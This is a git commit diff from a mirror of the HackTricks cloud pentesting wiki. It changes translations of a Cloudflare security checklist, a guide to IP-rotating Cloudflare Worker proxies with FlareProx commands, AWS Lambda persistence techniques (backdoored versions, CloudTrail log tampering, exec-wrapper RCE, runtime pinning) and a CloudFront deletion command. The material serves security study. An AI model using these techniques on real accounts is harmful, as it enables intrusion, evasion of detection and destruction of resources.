mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-ci-cd/cloudflare-security/README.md', 'src/p
This commit is contained in:
Translator
@@ -1,12 +1,12 @@
|
||||
# Cloudflare セキュリティ
|
||||
# Cloudflare Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In a Cloudflare account there are some **一般的な設定とサービス** that can be configured. In this page we are going to **各セクションのセキュリティ関連設定を分析します:**
|
||||
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Webサイト
|
||||
## Websites
|
||||
|
||||
Review each with:
|
||||
|
||||
@@ -14,10 +14,9 @@ Review each with:
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
||||
|
||||
### ドメイン登録
|
||||
### Domain Registration
|
||||
|
||||
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
|
||||
- **`Transfer Domains`** で任意のドメインを転送できないことを確認する。
|
||||
|
||||
Review each with:
|
||||
|
||||
@@ -33,37 +32,27 @@ _I couldn't find anything to check for a config security review._
|
||||
|
||||
On each Cloudflare's page:
|
||||
|
||||
- [ ] Check for **機密情報** in the **`Build log`**.
|
||||
- [ ] Check for **機密情報** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for **sensitive information** in the **`Build log`**.
|
||||
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
|
||||
- `/fuctions` ディレクトリ（存在する場合）の脆弱な関数を確認し、`_redirects` ファイル（存在する場合）のリダイレクトと `_headers` ファイル（存在する場合）の誤設定されたヘッダを確認する。
|
||||
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
|
||||
- コードにアクセスできる場合は、**blackbox** または **whitebox** によってウェブページの脆弱性を確認する。
|
||||
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
|
||||
- 各ページの詳細 `/<page_id>/pages/view/blocklist/settings/functions` で、**`Environment variables`** に機密情報が含まれていないか確認する。
|
||||
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
|
||||
- 詳細ページで **build command** と **root directory** を確認し、ページを乗っ取る可能性のある注入がないか確認する。
|
||||
|
||||
## **Workers**
|
||||
|
||||
On each Cloudflare's worker check:
|
||||
|
||||
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
|
||||
- トリガー: Worker を起動する要因は何か？**ユーザがデータを送信**して、それが **使用される** か？
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- **`Settings`** で **`Variables`** に機密情報が含まれていないか確認する
|
||||
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
|
||||
- Worker のコードを確認し、特にユーザが入力を扱う箇所で脆弱性がないか確認する
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- あなたが制御できるページを返す SSRF を確認する
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- svg 画像内で JS を実行する XSS を確認する
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
- Worker が他の内部サービスと連携している可能性がある。例えば、Worker が入力から得た情報を保存する R2 バケットとやり取りする場合、その Worker が R2 バケットに対してどのような権限を持っているか、ユーザ入力からどのように悪用され得るかを確認する必要がある。
|
||||
|
||||
> [!WARNING]
|
||||
> デフォルトでは **Worker に割り当てられる URL** は `<worker-name>.<account>.workers.dev` のようになります。ユーザはそれを **サブドメイン** に設定できますが、知っていれば常にその **元の URL** でアクセスできます。
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
|
||||
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
|
||||
|
||||
@@ -76,7 +65,6 @@ cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
On each R2 bucket check:
|
||||
|
||||
- [ ] Configure **CORS Policy**.
|
||||
- **CORS Policy** を設定する。
|
||||
|
||||
## Stream
|
||||
|
||||
@@ -89,9 +77,7 @@ TODO
|
||||
## Security Center
|
||||
|
||||
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
|
||||
- 可能なら **`Security Insights`** スキャンと **`Infrastructure`** スキャンを実行する。これらはセキュリティ上興味深い情報を強調表示する。
|
||||
- [ ] Just **check this information** for security misconfigurations and interesting info
|
||||
- この情報をセキュリティの誤設定や興味深い情報のために確認する
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -106,12 +92,10 @@ cloudflare-zero-trust-network.md
|
||||
## Bulk Redirects
|
||||
|
||||
> [!NOTE]
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) は本質的に静的で、文字列置換操作や正規表現を**サポートしません**。ただし、URL のマッチング動作や実行時の動作に影響する URL redirect parameters を設定することはできます。
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
|
||||
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
|
||||
- リダイレクトの **expressions** と **requirements** が妥当であるか確認する。
|
||||
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
|
||||
- 興味深い情報を含む **機密の隠しエンドポイント** がないかも確認する。
|
||||
|
||||
## Notifications
|
||||
|
||||
@@ -136,27 +120,18 @@ cloudflare-zero-trust-network.md
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
|
||||
- すべての **destinations** を確認する。webhook URL に基本認証などの **機密情報** が含まれている可能性があるため。また webhook URL が **HTTPS** を使用していることを確認する。
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
- 追加の確認として、Cloudflare 通知を第三者に**偽装**してみることが考えられる。何らかの方法で**危険な注入**ができないか検証する。
|
||||
|
||||
## Manage Account
|
||||
|
||||
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
|
||||
- **`Billing` -> `Payment info`** でクレジットカードの**下4桁**、**有効期限**、**請求先住所**を確認できる。
|
||||
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
|
||||
- **`Billing` -> `Subscriptions`** でアカウントの**プラン種別**を確認できる。
|
||||
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
|
||||
- **`Members`** ではアカウントの全メンバーとそのロールを確認できる。プランが Enterprise でない場合、ロールは Administrator と Super Administrator の2種類のみである。使用中のプランが Enterprise の場合は、最小権限の原則に従うために [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) を利用できる。
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- したがって、可能な限り **Enterprise プラン** を利用することを**推奨**する。
|
||||
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
|
||||
- **`Members`** でどのメンバーが **2FA を有効化しているか** を確認できる。すべてのユーザが有効化しているべきである。
|
||||
|
||||
> [!NOTE]
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
>
|
||||
> 幸いなことに、ロール **`Administrator`** はメンバーシップを管理する権限を与えない（**権限昇格や新規メンバー招待はできない**）。
|
||||
|
||||
## DDoS Investigation
|
||||
|
||||
|
||||
@@ -1,31 +1,31 @@
|
||||
# Cloudflare Workers をパススルー プロキシとして悪用する（IPローテーション、FireProx-style）
|
||||
# Cloudflare Workersをpass-through proxiesとして悪用する (IP rotation, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers は、アップストリームのターゲット URL をクライアントが指定する透明な HTTP パススルー プロキシとしてデプロイできます。リクエストは Cloudflare のネットワークから発信されるため、ターゲット側にはクライアントの IP の代わりに Cloudflare の IP が表示されます。これは AWS API Gateway 上のよく知られた FireProx 技術と同様ですが、Cloudflare Workers を使用します。
|
||||
Cloudflare Workersは、上流のターゲットURLがクライアントによって指定される透明なHTTP pass-through proxiesとしてデプロイできます。リクエストはCloudflareのネットワークから送出されるため、ターゲット側にはクライアントではなくCloudflareのIPsが見えます。これはAWS API Gateway上のよく知られたFireProx手法を踏襲しますが、Cloudflare Workersを使用します。
|
||||
|
||||
### Key capabilities
|
||||
- 全ての HTTP メソッドをサポート (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- ターゲットはクエリパラメータ (?url=...)、ヘッダ (X-Target-URL)、あるいはパスにエンコード (/https://target など) して渡せる
|
||||
- 必要に応じて hop-by-hop/ヘッダフィルタリングを行い、ヘッダとボディをそのままプロキシ
|
||||
- ステータスコードと大半のヘッダを保持してレスポンスを中継
|
||||
- 任意で X-Forwarded-For を偽装可能（Worker がユーザ制御のヘッダから設定する場合）
|
||||
- 複数の Worker エンドポイントをデプロイしてリクエストを分散させることで、非常に高速/簡単にローテーション可能
|
||||
### 主な機能
|
||||
- すべてのHTTPメソッド（GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD）をサポート
|
||||
- ターゲットはクエリパラメータ（?url=...）、ヘッダ（X-Target-URL）、あるいはパス内にエンコード（例：/https://target）して渡せる
|
||||
- 必要に応じてhop-by-hop/ヘッダフィルタリングを行いながらヘッダとボディをプロキシ
|
||||
- ステータスコードと大半のヘッダを保持してレスポンスを返送
|
||||
- （Workerがユーザー制御ヘッダから設定する場合など）X-Forwarded-Forの偽装が可能
|
||||
- 複数のWorkerエンドポイントをデプロイしてリクエストを扇形に広げることで、非常に高速かつ容易にローテーション可能
|
||||
|
||||
### 仕組み（フロー）
|
||||
1) クライアントは Worker の URL（`<name>.<account>.workers.dev` またはカスタムドメインのルート）に HTTP リクエストを送る。
|
||||
2) Worker はターゲットをクエリパラメータ (?url=...)、X-Target-URL ヘッダ、または実装されていればパスセグメントから抽出する。
|
||||
3) Worker は受け取ったメソッド、ヘッダ、ボディを指定されたアップストリーム URL に転送する（問題のあるヘッダはフィルタリングする）。
|
||||
4) アップストリームのレスポンスは Cloudflare 経由でクライアントにストリーミングされる；オリジン側には Cloudflare の送信元 IP が見える。
|
||||
### 動作の仕組み（フロー）
|
||||
1) クライアントがWorkerのURL（`<name>.<account>.workers.dev` またはカスタムドメインルート）にHTTPリクエストを送信する。
|
||||
2) Workerはターゲットをクエリパラメータ（?url=...）、X-Target-URLヘッダ、あるいは実装されていればパスセグメントから抽出する。
|
||||
3) Workerは受信したメソッド、ヘッダ、ボディを指定された上流URLへ転送する（問題のあるヘッダはフィルタリング）。
|
||||
4) 上流のレスポンスはCloudflare経由でクライアントにストリーミングされる。オリジン側にはCloudflareのIPsが見える。
|
||||
|
||||
### Worker 実装例
|
||||
- ターゲット URL をクエリパラメータ、ヘッダ、またはパスから読み取る
|
||||
- 安全なサブセットのヘッダをコピーして元のメソッド/ボディを転送する
|
||||
- 任意でユーザ制御のヘッダ (X-My-X-Forwarded-For) かランダム IP を使って X-Forwarded-For を設定する
|
||||
- 許容的な CORS を追加し、プリフライトを処理する
|
||||
- クエリパラメータ、ヘッダ、またはパスからターゲットURLを読み取る
|
||||
- 安全なヘッダのサブセットをコピーし、元のメソッド/ボディを転送
|
||||
- 任意でユーザー制御ヘッダ（X-My-X-Forwarded-For）やランダムIPを使用してX-Forwarded-Forを設定
|
||||
- 寛容なCORSを追加し、preflightを処理
|
||||
|
||||
<details>
|
||||
<summary>パススルー プロキシ用の Worker (JavaScript) 例</summary>
|
||||
<summary>pass-through proxying用のサンプル Worker (JavaScript)</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
@@ -133,19 +133,19 @@ function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1
|
||||
```
|
||||
</details>
|
||||
|
||||
### FlareProxを使ったデプロイとローテーションの自動化
|
||||
### FlareProx を使ったデプロイとローテーションの自動化
|
||||
|
||||
FlareProxはPython製のツールで、Cloudflare APIを利用して多数の Worker endpoints をデプロイし、それらを順次ローテーションします。これによりCloudflareのネットワークからFireProx-likeなIPローテーションを提供します。
|
||||
FlareProx は Cloudflare API を使用して多数の Worker エンドポイントをデプロイし、それらを順にローテートする Python ツールです。これにより Cloudflare’s network からの FireProx のような IP ローテーションが可能になります。
|
||||
|
||||
セットアップ
|
||||
1) “Edit Cloudflare Workers”テンプレートを使用してCloudflare API Tokenを作成し、ダッシュボードからAccount IDを取得します。
|
||||
2) FlareProxを設定する:
|
||||
1) “Edit Cloudflare Workers” テンプレートを使って Cloudflare API Token を作成し、ダッシュボードから Account ID を取得します。
|
||||
2) FlareProx を設定する:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
**flareprox.json の設定ファイルを作成:**
|
||||
**flareprox.json の config file を作成する:**
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
@@ -156,28 +156,28 @@ pip install -r requirements.txt
|
||||
```
|
||||
**CLI の使用方法**
|
||||
|
||||
- N 個の Worker proxies を作成する:
|
||||
- N 個の Worker proxies を作成:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- エンドポイントを一覧表示:
|
||||
- endpoints を一覧表示:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- ヘルスチェック用のエンドポイント:
|
||||
- ヘルスチェックエンドポイント:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- すべてのエンドポイントを削除する:
|
||||
- すべての endpoints を削除する:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Workerを経由したトラフィックのルーティング**
|
||||
**Routing traffic through a Worker**
|
||||
- クエリパラメータ形式:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- ヘッダー形式:
|
||||
ヘッダー形式:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
@@ -185,7 +185,7 @@ curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.worke
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- メソッドの例:
|
||||
- 手法の例:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
@@ -204,17 +204,17 @@ curl -X DELETE \
|
||||
```
|
||||
**`X-Forwarded-For` 制御**
|
||||
|
||||
Workerが`X-My-X-Forwarded-For`を尊重する場合、上流の`X-Forwarded-For`ヘッダの値に影響を与えられます：
|
||||
Worker が `X-My-X-Forwarded-For` を尊重する場合、上流の `X-Forwarded-For` 値に影響を与えられます:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**プログラムからの利用**
|
||||
**プログラムでの使用方法**
|
||||
|
||||
Use the FlareProx library to create/list/test endpoints and route requests from Python.
|
||||
FlareProxライブラリを使用して、エンドポイントの作成、一覧表示、テストを行い、Pythonからリクエストをルーティングします。
|
||||
|
||||
<details>
|
||||
<summary>Python の例: ランダムな Worker エンドポイント経由で POST を送信する</summary>
|
||||
<summary>Pythonの例: ランダムな Worker エンドポイント経由で POST を送信</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
@@ -267,17 +267,17 @@ print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Burp/Scanner の連携**
|
||||
**Burp/Scanner 統合**
|
||||
- ツール（例: Burp Suite）を Worker URL に向ける。
|
||||
- 実際のアップストリームは ?url= または X-Target-URL を使って指定する。
|
||||
- HTTP semantics (methods/headers/body) は保持され、source IP は Cloudflare の背後にマスクされる。
|
||||
- ?url= または X-Target-URL を使って実際の upstream を指定する。
|
||||
- HTTP のセマンティクス（methods/headers/body）は保持され、送信元 IP は Cloudflare の背後に隠される。
|
||||
|
||||
**運用上の注意点と制限**
|
||||
- Cloudflare Workers の Free プランでは、1アカウントあたり概ね 100,000 リクエスト/日 が可能。必要に応じてトラフィックを分散するために複数のエンドポイントを使用する。
|
||||
- Workers は Cloudflare のネットワーク上で実行される。多くのターゲットは Cloudflare の IPs/ASN のみを検出し、単純な IP の許可/拒否リストや地理的ヒューリスティクスを回避できる可能性がある。
|
||||
- 権限のある場合にのみ責任を持って使用すること。ToS と robots.txt を順守すること。
|
||||
**運用上の注意と制限**
|
||||
- Cloudflare Workers Free プランではアカウントあたり概ね 100,000 リクエスト/日が許容される。必要なら複数のエンドポイントでトラフィックを分散すること。
|
||||
- Workers は Cloudflare のネットワーク上で実行されるため、多くのターゲットは Cloudflare の IP/ASN のみを認識する。これにより単純な IP の許可/拒否リストやジオヒューリスティックを回避できる可能性がある。
|
||||
- 責任を持って、かつ必ず許可を得た上で使用すること。ToS と robots.txt を順守すること。
|
||||
|
||||
## 参考資料
|
||||
## References
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
|
||||
@@ -1,77 +1,77 @@
|
||||
# AWS - Lambda 永続化
|
||||
# AWS - Lambda Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
詳しくは以下を参照してください:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Layer 永続化
|
||||
### Lambda Layer Persistence
|
||||
|
||||
Lambda が実行される際にステルスに **introduce/backdoor a layer to execute arbitrary code** することが可能です:
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Extension 永続化
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Lambda Layers を悪用することで extensions を悪用し、Lambda に永続化すると同時にリクエストを盗んだり改変したりすることも可能です。
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### リソースポリシー経由
|
||||
### Via resource policies
|
||||
|
||||
外部アカウントに対して、Lambda のさまざまな操作（such as invoke or update code）へのアクセスを付与することが可能です:
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### バージョン、エイリアス & 重み
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
この方法により、攻撃者は **backdoored version 1** と合法コードのみの **version 2** を作成し、リクエストの 1% のみ **version 1** を実行してステルスを保つことができます。
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Lambda の元のコードをコピーする
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. API Gateway を呼び出してコードを実行する
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. これにより backdoored code は以前のバージョンに隠されます
|
||||
4. API Gateway に移動し、backdoored version の Lambda を実行する **create a new POST method**（または他の任意のメソッドを選択）を作成します: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. ARN の末尾の :1 が **indicating the version of the function** 点に注意してください（このシナリオでは version 1 が backdoored です）。
|
||||
5. 作成した POST メソッドを選択し、Actions で **`Deploy API`** を選択します
|
||||
6. これで、POST 経由で関数を呼び出すと、あなたの Backdoor が呼び出されます
|
||||
1. Lambda の元のコードをコピーする
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Lambda に関連する API Gateway を呼び出してコードを実行する
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Event トリガー
|
||||
### Cron/Event actuator
|
||||
|
||||
何かが発生したときや一定時間経過時に **Lambda 関数を実行できる** という事実は、Lambda を永続化と検出回避のための一般的で効果的な手段にします。\
|
||||
ここでは、Lambda を作成して AWS 内での存在をよりステルスにするためのアイデアをいくつか示します。
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
|
||||
- 新しいユーザーが作成されるたびに Lambda が新しいユーザーキーを生成して攻撃者に送る。
|
||||
- 新しいロールが作成されるたびに Lambda が侵害済みユーザーに対して assume role 権限を付与する。
|
||||
- 新しい CloudTrail ログが生成されるたびに、それらを削除/改ざんする
|
||||
- 新しいユーザーが作成されるたびに、lambda が新しいユーザーキーを生成して攻撃者に送信する。
|
||||
- 新しい role が作成されるたびに、lambda が compromised users に対して assume role 権限を付与する。
|
||||
- 新しい CloudTrail ログが生成されるたびに、それらを削除／改竄する
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
環境変数 `AWS_LAMBDA_EXEC_WRAPPER` を悪用して、runtime/handler が開始する前に攻撃者管理下の wrapper スクリプトを実行させます。wrapper を Lambda Layer 経由で `/opt/bin/htwrap` に配布し、`AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` を設定してから関数を invoke します。wrapper は関数の runtime プロセス内で実行され、関数実行ロールを継承し、最後に本来の runtime を `exec` するため、元の handler は通常通り実行されます。
|
||||
Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL 公開露出
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Lambda の asynchronous destinations と Recursion 設定を組み合わせて、外部のスケジューラ（EventBridge、cron など）なしで関数を継続的に自己再呼び出しさせることを悪用します。デフォルトでは Lambda は再帰ループを終了しますが、recursion config を Allow に設定すると再び有効になります。Destinations は async invokes に対してサービス側で配信されるため、単一のシード invoke がステルスなコード不要のハートビート/バックドアチャネルを作成します。noise を低く保つために reserved concurrency でスロットルすることも可能です。
|
||||
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
@@ -79,19 +79,19 @@ aws-lambda-async-self-loop-persistence.md
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
攻撃者ロジックを含む隠しの Lambda バージョンを作成し、`lambda add-permission` の `--qualifier` パラメータを使ってその特定のバージョン（またはエイリアス）に対してリソースベースポリシーをスコープします。攻撃者プリンシパルに対して `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` に対する `lambda:InvokeFunction` のみを付与します。関数名や主要なエイリアス経由の通常の呼び出しは影響を受けず、攻撃者は backdoored version ARN を直接呼び出すことができます。
|
||||
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
|
||||
|
||||
これは Function URL を公開するよりステルス性が高く、主要なトラフィック用エイリアスを変更しません。
|
||||
This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda ランタイムの固定化
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
lambda:InvokeFunction、logs:FilterLogEvents、lambda:PutRuntimeManagementConfig、lambda:GetRuntimeManagementConfig の権限を持つ攻撃者は、関数の runtime management configuration を変更できます。この攻撃は、Lambda 関数を脆弱なランタイムバージョンに固定したり、新しいランタイムと互換性がない可能性のある悪意ある layers との互換性を維持したりする場合に特に効果的です。
|
||||
An attacker who has lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, and lambda:GetRuntimeManagementConfig permissions can modify a function’s runtime management configuration. This attack is especially effective when the goal is to keep a Lambda function on a vulnerable runtime version or to preserve compatibility with malicious layers that might be incompatible with newer runtimes.
|
||||
|
||||
攻撃者はランタイムバージョンを固定するために runtime management configuration を変更します:
|
||||
The attacker modifies the runtime management configuration to pin the runtime version:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
@@ -113,7 +113,7 @@ aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
任意: 特定のランタイムバージョンに固定する
|
||||
オプション: 特定のランタイムバージョンに固定する
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
## CloudFront
|
||||
|
||||
詳細については次を参照してください:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
cloudfront:Delete* が付与された攻撃者は distributions、policies およびその他の重要な CDN 設定オブジェクト（例えば distributions、cache/origin policies、key groups、origin access identities、functions/configs、および関連リソース）を削除できます。これによりサービス停止、コンテンツの損失、設定やフォレンジックの証跡の消失が発生する可能性があります。
|
||||
cloudfront:Delete* が付与された攻撃者は、distributions、policies、その他の重要なCDN設定オブジェクト（例: distributions、cache/origin policies、key groups、origin access identities、functions/configs、および関連リソース）を削除できます。これにより、サービス停止、コンテンツの損失、設定やフォレンジックアーティファクトの消失が発生する可能性があります。
|
||||
|
||||
distribution を削除するために、攻撃者は次のような方法を使用できます:
|
||||
To delete a distribution an attacker could use:
|
||||
```bash
|
||||
aws cloudfront delete-distribution \
|
||||
--id <DISTRIBUTION_ID> \
|
||||
@@ -21,20 +21,20 @@ aws cloudfront delete-distribution \
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
